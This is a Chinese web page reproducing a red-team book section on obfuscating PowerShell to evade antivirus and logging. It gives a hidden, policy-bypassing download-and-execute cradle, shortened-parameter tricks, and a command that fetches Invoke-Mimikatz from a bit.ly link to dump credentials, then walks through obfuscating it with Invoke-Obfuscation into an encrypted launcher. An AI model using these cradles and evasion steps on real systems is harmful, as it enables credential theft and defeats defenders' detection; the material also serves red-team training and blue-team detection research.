返回介绍

7.8 PowerShell 混淆

发布于 2024-10-13 11:41:09 字数 2969 浏览 0 评论 0 收藏 0

PowerShell 脚本现在的问题是,如果您将脚本放到磁盘上,那么很多杀毒软件都会查杀脚本。即使您将脚本导入内存,杀毒软件通过查看内存,也可能发出警报。

无论如何,如果您从 Cobalt Strike、Meterpreter 或 PowerShell Empire 将脚本导入内存,那么需确保不会被杀毒软件发现。如果我们将脚本导入内存,那么至少应急响应/取证团队应该很难逆向分析我们的攻击静荷。

让我们来查看 PowerShell 的命令,如下所示。

  • Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('[PowerShell URL]'); [Parameters]。

这是我们看到的最基本的字符串组合,可以绕过执行策略,隐藏运行/非交互,以及下载和执行 PowerShell 静荷。对于蓝队,我们已经看到有很多日志,记录这些特定的参数,例如“-Exec Bypass”。因此,我们通过一些常见的 PowerShell 语法混淆这些参数。

  • -ExecutionPolicy Bypass。
    • -EP Bypass
    • -Exec Bypass
    • -Execution Bypass

更疯狂的是,我相信 Daniel Bohannon 识别出了这个,您根本不需要完整的字符串来完成上述操作。例如,对于-ExecutionPolicy Bypass,以下的这些例子都将能正常工作。

  • -ExecutionPolicy Bypass。
  • -ExecutionPol Bypass。
  • -Executio Bypass。
  • -Exec Bypass。
  • -Ex Bypass。

这些技术同样适用于 WindowStyle 甚至 EncodedCommand 参数。当然,这些技巧目前是可以使用的,我们需要创建更多混淆变换的方法。首先,我们提供一个非常简单的示例,使用 PowerShell 管理命令行,执行我们的远程 PowerShell 脚本(在本例中是 mimikatz),实现转储散列的功能。

  • Invoke-Expression (New-Object Net.WebClient).DownloadString('http://bit.ly/ 2JHVdzf'); Invoke-Mimikatz –DumpCreds。

使用(Invoke-Obfuscation),输入字符串,使用几种不同的技术对字符串进行深度混淆。

  • 在 Windows 中,下载 Invoke-Obfuscation PowerShell 文件。
  • 加载 PowerShell 脚本,启动 Invoke-Obfuscation。
    • Import-Module ./Invoke-Obfuscation.psd1
    • Invoke-Obfuscation
  • 设置混淆的 PowerShell 脚本。在这种情况下,我们混淆下载的脚本,运行 mimikatz,转储散列。
    • SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).
      DownloadString ('http://bit.ly/2JHVdzf'); Invoke-Mimikatz -DumpCreds
  • 编码静荷。
    • 编码
  • 在这种情况下,我选择了 SecureString(AES),但您可以使用所有混淆技术,如图 7.6 所示。

0707

图 7.6

如果查看混淆的字符串,会发现有一个随机生成的密钥和加密的安全字符串。执行管理员权限 PowerShell,我们仍然可以执行完整的静荷,如图 7.7 所示。

0708

图 7.7

回到主屏幕,创建混淆的加载器,如图 7.8 所示。

0709

图 7.8

  • main。
  • launcher。

  • CLIP++。

  • Choose your execution flags。

更好的是,我们可以查看 Windows PowerShell 日志,但它非常隐蔽,对于规避杀毒软件和安全信息工具警报非常有帮助,如图 7.9 所示。

0710

图 7.9

除 Invoke-Obfuscation 工具外,Daniel 还研制了一个 Invoke-CradleCrafter 工具,实现远程下载的功能。Invoke-CradleCrafter 工具为蓝队和红队开展研究、生成和混淆 PowerShell 远程下载提供了支持。此外,这个工具有助于帮助蓝队测试 Invoke-Obfuscation 输出结果的有效性。Invoke-CradleCrafter 的缺陷是不包含任何字符串连接、编码、标识和类型转换等功能。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文